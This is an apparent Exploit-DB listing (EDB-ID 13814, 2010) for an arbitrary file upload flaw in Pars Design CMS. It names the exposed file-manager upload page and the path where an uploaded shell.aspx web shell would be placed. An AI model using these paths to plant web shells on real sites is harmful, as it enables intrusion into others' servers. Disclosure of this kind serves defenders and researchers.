Exploit Pars Design CMS - Arbitrary File Upload

[Exploiter]

EDB-ID

13814

Проверка EDB

1. Пройдено

Автор

SECURITYLAB.IR

Тип уязвимости

WEBAPPS

Платформа

ASP

CVE

N/A

Дата публикации

2010-06-10

#################################################################
# Securitylab.ir
#################################################################
# Application Info:
# Name: Pars Design
# Vendor: http://Parsdata.com
#################################################################
# Vulnerability Info:
# Type: Remote Arbitrary File Upload
# Risk: High
#################################################################
Vulnerability:
http://site.ir/editorv2/editor/filemanager/upload/test.html

Uploaded Here:
http://site.ir//UserFiles/shell.aspx
#################################################################
# Discoverd By: Securitylab.ir
# Website: http://Securitylab.ir
# Contacts: info[AT]Securitylab[Dot]ir,whh_iran[AT]yahoo[DOT]com
###################################################################